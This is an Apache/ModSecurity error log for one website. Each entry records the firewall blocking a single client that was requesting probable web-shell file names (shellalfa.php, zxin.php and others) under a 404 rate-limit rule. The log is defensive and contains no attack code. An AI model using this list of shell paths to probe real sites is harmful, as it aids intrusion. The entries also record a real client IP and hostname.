[Fri Jan 02 20:33:48.171649 2026] [:error] [pid 63099:tid 63150] [client 4.189.161.129:17435] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/AxAo.php"] [unique_id "aVe7LMmCZokRPYUhzvi4FQAAAFA"]
[Fri Jan 02 20:33:48.903683 2026] [:error] [pid 63099:tid 63149] [client 4.189.161.129:57731] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/shellalfa.php"] [unique_id "aVe7LMmCZokRPYUhzvi4FwAAAE8"]
[Fri Jan 02 20:33:50.311384 2026] [:error] [pid 63099:tid 63138] [client 4.189.161.129:46905] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/shellalfa.php"] [unique_id "aVe7LsmCZokRPYUhzvi4GAAAAEQ"]
[Fri Jan 02 20:33:50.851543 2026] [:error] [pid 29316:tid 29328] [client 4.189.161.129:57786] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/shellalfa.php"] [unique_id "aVe7LtfT9ty-7jZmgf-oTQAAAQo"]
[Fri Jan 02 20:33:51.413523 2026] [:error] [pid 29316:tid 29340] [client 4.189.161.129:60617] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/shellalfa.php"] [unique_id "aVe7L9fT9ty-7jZmgf-oTgAAARY"]
[Fri Jan 02 20:33:53.383607 2026] [:error] [pid 43358:tid 43366] [client 4.189.161.129:60643] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/aa.php"] [unique_id "aVe7MQncbHK9auzvrA9RqgAAAcY"]
[Fri Jan 02 20:33:53.719615 2026] [:error] [pid 50186:tid 50212] [client 4.189.161.129:45611] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/aa.php"] [unique_id "aVe7MVXqK_iX4f-S70JuzwAAAZg"]
[Fri Jan 02 20:33:54.499797 2026] [:error] [pid 63099:tid 63145] [client 4.189.161.129:60610] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/aa.php"] [unique_id "aVe7MsmCZokRPYUhzvi4HAAAAEs"]
[Fri Jan 02 20:33:55.725471 2026] [:error] [pid 63099:tid 63136] [client 4.189.161.129:45612] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/aa.php"] [unique_id "aVe7M8mCZokRPYUhzvi4IQAAAEI"]
[Fri Jan 02 20:33:56.621679 2026] [:error] [pid 50186:tid 50190] [client 4.189.161.129:57741] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/abc.php"] [unique_id "aVe7NFXqK_iX4f-S70Ju0gAAAYI"]
[Fri Jan 02 20:33:57.146120 2026] [:error] [pid 63100:tid 63168] [client 4.189.161.129:60609] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/abc.php"] [unique_id "aVe7NTuUXUKd3KTnKl9JgQAAAIc"]
[Fri Jan 02 20:33:57.812782 2026] [:error] [pid 63100:tid 63182] [client 4.189.161.129:46876] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/abc.php"] [unique_id "aVe7NTuUXUKd3KTnKl9JggAAAJU"]
[Fri Jan 02 20:33:58.421512 2026] [:error] [pid 63098:tid 63124] [client 4.189.161.129:60651] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/abc.php"] [unique_id "aVe7Nsez9k78gUs48kpUWgAAABE"]
[Fri Jan 02 20:33:59.043216 2026] [:error] [pid 43358:tid 43379] [client 4.189.161.129:17447] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file5.php"] [unique_id "aVe7NwncbHK9auzvrA9RtAAAAdM"]
[Fri Jan 02 20:33:59.642443 2026] [:error] [pid 50186:tid 50200] [client 4.189.161.129:46858] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file5.php"] [unique_id "aVe7N1XqK_iX4f-S70Ju1AAAAYw"]
[Fri Jan 02 20:35:08.405866 2026] [:error] [pid 50046:tid 50066] [client 4.189.161.129:57748] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file9.php"] [unique_id "aVe7fCzv7fgIiwkQYNCpuQAAAVI"]
[Fri Jan 02 20:35:09.414897 2026] [:error] [pid 63098:tid 63119] [client 4.189.161.129:46883] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file9.php"] [unique_id "aVe7fcez9k78gUs48kpVCQAAAAw"]
[Fri Jan 02 20:35:10.230169 2026] [:error] [pid 63099:tid 63153] [client 4.189.161.129:60663] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file9.php"] [unique_id "aVe7fsmCZokRPYUhzvi4YAAAAFM"]
[Fri Jan 02 20:35:11.058161 2026] [:error] [pid 63099:tid 63149] [client 4.189.161.129:57758] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file9.php"] [unique_id "aVe7f8mCZokRPYUhzvi4YQAAAE8"]
[Fri Jan 02 20:35:11.386280 2026] [:error] [pid 63208:tid 63218] [client 4.189.161.129:60653] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class19.php"] [unique_id "aVe7f3KLI9INGPLzfndDCwAAAMc"]
[Fri Jan 02 20:35:12.317756 2026] [:error] [pid 29316:tid 29339] [client 4.189.161.129:57743] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class19.php"] [unique_id "aVe7gNfT9ty-7jZmgf-ogAAAARU"]
[Fri Jan 02 20:35:13.033000 2026] [:error] [pid 29316:tid 29331] [client 4.189.161.129:45569] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class19.php"] [unique_id "aVe7gdfT9ty-7jZmgf-oggAAAQ0"]
[Fri Jan 02 20:35:13.517059 2026] [:error] [pid 63098:tid 63128] [client 4.189.161.129:57790] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class19.php"] [unique_id "aVe7gcez9k78gUs48kpVDwAAABU"]
[Fri Jan 02 20:35:14.293621 2026] [:error] [pid 63099:tid 63156] [client 4.189.161.129:17429] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/db.php"] [unique_id "aVe7gsmCZokRPYUhzvi4YwAAAFY"]
[Fri Jan 02 20:35:14.829573 2026] [:error] [pid 63099:tid 63151] [client 4.189.161.129:45620] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/db.php"] [unique_id "aVe7gsmCZokRPYUhzvi4ZgAAAFE"]
[Fri Jan 02 20:35:15.966162 2026] [:error] [pid 63208:tid 63225] [client 4.189.161.129:60611] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/db.php"] [unique_id "aVe7g3KLI9INGPLzfndDDQAAAM4"]
[Fri Jan 02 20:35:16.734973 2026] [:error] [pid 50186:tid 50202] [client 4.189.161.129:57751] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/db.php"] [unique_id "aVe7hFXqK_iX4f-S70JvTgAAAY4"]
[Fri Jan 02 20:35:17.326147 2026] [:error] [pid 63100:tid 63171] [client 4.189.161.129:45618] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ioxi-o2.php"] [unique_id "aVe7hTuUXUKd3KTnKl9JyQAAAIo"]
[Fri Jan 02 20:35:17.786881 2026] [:error] [pid 63100:tid 63178] [client 4.189.161.129:46862] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ioxi-o2.php"] [unique_id "aVe7hTuUXUKd3KTnKl9JygAAAJE"]
[Fri Jan 02 20:35:18.238150 2026] [:error] [pid 29316:tid 29339] [client 4.189.161.129:57775] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ioxi-o2.php"] [unique_id "aVe7htfT9ty-7jZmgf-olAAAARU"]
[Fri Jan 02 20:35:18.728797 2026] [:error] [pid 50186:tid 50205] [client 4.189.161.129:45604] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ioxi-o2.php"] [unique_id "aVe7hlXqK_iX4f-S70JvUwAAAZE"]
[Fri Jan 02 20:35:19.161987 2026] [:error] [pid 63098:tid 63119] [client 4.189.161.129:60652] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-links-opml.php"] [unique_id "aVe7h8ez9k78gUs48kpVEwAAAAw"]
[Fri Jan 02 20:35:19.702181 2026] [:error] [pid 43358:tid 43367] [client 4.189.161.129:57734] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-links-opml.php"] [unique_id "aVe7hwncbHK9auzvrA9R3QAAAcc"]
[Fri Jan 02 20:35:20.616369 2026] [:error] [pid 50186:tid 50191] [client 4.189.161.129:46855] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-links-opml.php"] [unique_id "aVe7iFXqK_iX4f-S70JvVgAAAYM"]
[Fri Jan 02 20:35:20.904474 2026] [:error] [pid 63099:tid 63137] [client 4.189.161.129:60645] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-links-opml.php"] [unique_id "aVe7iMmCZokRPYUhzvi4awAAAEM"]
[Fri Jan 02 20:35:21.361746 2026] [:error] [pid 63098:tid 63131] [client 4.189.161.129:45614] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/asas.php"] [unique_id "aVe7icez9k78gUs48kpVFwAAABg"]
[Fri Jan 02 20:35:22.245316 2026] [:error] [pid 63098:tid 63110] [client 4.189.161.129:45574] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/asas.php"] [unique_id "aVe7isez9k78gUs48kpVGAAAAAM"]
[Fri Jan 02 20:35:23.093121 2026] [:error] [pid 63098:tid 63125] [client 4.189.161.129:45588] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/asas.php"] [unique_id "aVe7i8ez9k78gUs48kpVGgAAABI"]
[Fri Jan 02 20:35:23.644578 2026] [:error] [pid 50046:tid 50058] [client 4.189.161.129:46856] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/asas.php"] [unique_id "aVe7iyzv7fgIiwkQYNCpwgAAAUo"]
[Fri Jan 02 20:35:24.230895 2026] [:error] [pid 43358:tid 43371] [client 4.189.161.129:57763] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/js.php"] [unique_id "aVe7jAncbHK9auzvrA9R5QAAAcs"]
[Fri Jan 02 20:35:24.754309 2026] [:error] [pid 63098:tid 63112] [client 4.189.161.129:46899] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/js.php"] [unique_id "aVe7jMez9k78gUs48kpVHQAAAAU"]
[Fri Jan 02 20:35:25.117796 2026] [:error] [pid 63098:tid 63123] [client 4.189.161.129:60615] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/js.php"] [unique_id "aVe7jcez9k78gUs48kpVHwAAABA"]
[Fri Jan 02 20:35:25.498297 2026] [:error] [pid 63098:tid 63127] [client 4.189.161.129:46869] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/js.php"] [unique_id "aVe7jcez9k78gUs48kpVIgAAABQ"]
[Fri Jan 02 20:35:25.868297 2026] [:error] [pid 50186:tid 50196] [client 4.189.161.129:57745] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lv.php"] [unique_id "aVe7jVXqK_iX4f-S70JvXAAAAYg"]
[Fri Jan 02 20:35:26.252421 2026] [:error] [pid 50186:tid 50202] [client 4.189.161.129:46868] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lv.php"] [unique_id "aVe7jlXqK_iX4f-S70JvXgAAAY4"]
[Fri Jan 02 20:35:26.920068 2026] [:error] [pid 43358:tid 43383] [client 4.189.161.129:60667] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lv.php"] [unique_id "aVe7jgncbHK9auzvrA9R6QAAAdc"]
[Fri Jan 02 20:35:27.647704 2026] [:error] [pid 63098:tid 63115] [client 4.189.161.129:60671] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lv.php"] [unique_id "aVe7j8ez9k78gUs48kpVKQAAAAg"]
[Fri Jan 02 20:35:28.100913 2026] [:error] [pid 29316:tid 29323] [client 4.189.161.129:57753] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/atomlib.php"] [unique_id "aVe7kNfT9ty-7jZmgf-opwAAAQU"]
[Fri Jan 02 20:35:28.739944 2026] [:error] [pid 63099:tid 63134] [client 4.189.161.129:46906] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/atomlib.php"] [unique_id "aVe7kMmCZokRPYUhzvi4ewAAAEA"]
[Fri Jan 02 20:35:29.387972 2026] [:error] [pid 63099:tid 63141] [client 4.189.161.129:46863] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/atomlib.php"] [unique_id "aVe7kcmCZokRPYUhzvi4fAAAAEc"]
[Fri Jan 02 20:35:29.993506 2026] [:error] [pid 63208:tid 63213] [client 4.189.161.129:57785] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/atomlib.php"] [unique_id "aVe7kXKLI9INGPLzfndDEwAAAMI"]
[Fri Jan 02 20:35:30.391960 2026] [:error] [pid 63099:tid 63137] [client 4.189.161.129:46910] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zxin.php"] [unique_id "aVe7ksmCZokRPYUhzvi4gAAAAEM"]
[Fri Jan 02 20:35:31.155992 2026] [:error] [pid 50186:tid 50210] [client 4.189.161.129:60661] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zxin.php"] [unique_id "aVe7k1XqK_iX4f-S70JvYQAAAZY"]
[Fri Jan 02 20:35:31.582986 2026] [:error] [pid 29316:tid 29331] [client 4.189.161.129:46893] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zxin.php"] [unique_id "aVe7k9fT9ty-7jZmgf-orAAAAQ0"]
[Fri Jan 02 20:35:32.288189 2026] [:error] [pid 63099:tid 63153] [client 4.189.161.129:46850] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zxin.php"] [unique_id "aVe7lMmCZokRPYUhzvi4ggAAAFM"]
[Fri Jan 02 20:35:32.827423 2026] [:error] [pid 63100:tid 63182] [client 4.189.161.129:57747] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/g.php"] [unique_id "aVe7lDuUXUKd3KTnKl9J0QAAAJU"]
